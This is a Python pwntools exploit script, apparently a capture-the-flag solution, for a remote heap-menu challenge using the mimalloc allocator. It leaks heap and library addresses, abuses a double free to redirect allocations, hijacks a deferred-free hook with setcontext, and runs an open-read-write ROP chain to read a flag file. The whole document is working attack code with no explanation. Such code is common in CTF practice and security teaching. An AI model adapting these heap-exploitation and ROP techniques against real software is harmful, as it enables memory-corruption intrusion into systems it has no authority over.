1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110
| import lib2to3.pgen2.tokenize
from pwn import *
context.log_level='debug' context.arch='amd64' libc = ELF('./libc.so.6') libmimalloc = ELF("./libmimalloc.so.2")
p = remote("123.60.179.52",30208) sa = lambda s,n : p.sendafter(s,n) sla = lambda s,n : p.sendlineafter(s,n) sl = lambda s : p.sendline(s) sd = lambda s : p.send(s) rc = lambda n : p.recv(n) ru = lambda s : p.recvuntil(s) ti = lambda : p.interactive() leak = lambda name,addr :log.success(name+"--->"+hex(addr))
menu = b':\n' def add(size,content): sla(b'>>',b'1') sla(menu,str(size).encode()) sa(menu,content)
def delete(idx): sla(b'>>',b'2') sla(menu,str(idx).encode())
def edit(idx,content): sla(b'>>',b'3') sla(menu,str(idx).encode()) sa(menu,content)
def show(idx): sla(b'>>',b'4') sla(menu,str(idx).encode())
def pwn(): add(0x40, b'a' * 0x40) # 0 add(0x40, b'a' * 0x40) # 1
show(1) ru(b'a' * 0x40) heap_base = u64(ru(b"\n")[:-1].ljust(8, b"\x00")) - 0x20140
add(0x500, b'aa') # 2 add(0x500, b'aa') # 3 delete(2) delete(2) edit(2, p64(heap_base + 0x158))
for i in range(0x3): add(0x500, b'b' * 0x8) show(6) ru(b'b' * 8) libmimalloc.address = u64(ru(b'\x7f')[-6:].ljust(8, b'\x00')) + 0x1f48c0 libc.address = libmimalloc.address - 0x1f2000
leak("heap_base", heap_base) leak("libcmimalloc", libmimalloc.address) leak("libc.address", libc.address)
deferred_free = libmimalloc.address + 0x75f50 setcontext = libc.sym['setcontext'] + 61 fake_rdx = heap_base + 0x30000 pop_rdi = 0x0000000000023b6a + libc.address pop_rsi = 0x000000000002601f + libc.address pop_rdx = 0x0000000000142c92 + libc.address pop_rax = 0x0000000000036174 + libc.address syscall = 0x00000000000630a9 + libc.address ret = 0x0000000000022679 + libc.address
add(0x500, b'c' * 8) # 7 delete(7) delete(7) edit(7, p64(deferred_free - 0x10)) for i in range(3): add(0x500, b'c' * 8)
add(0x500, p64(0) + p64(fake_rdx) + p64(setcontext))
payload = b'./flag\x00\x00' payload = payload.ljust(0xa0, b'\x00') + p64(fake_rdx + 0xb0) + p64(ret)
orw = flat([ pop_rdi, fake_rdx, pop_rsi, 0, pop_rdx, 0, pop_rax, 2, syscall, pop_rdi, 3, pop_rsi, fake_rdx + 0x1200, pop_rdx, 0x50, pop_rax, 0, syscall, pop_rdi, 1, pop_rax, 1, syscall ])
edit(2, payload + orw) sla(b'>>', b'1')
sla(menu, b'1')
p.interactive()
pwn()
|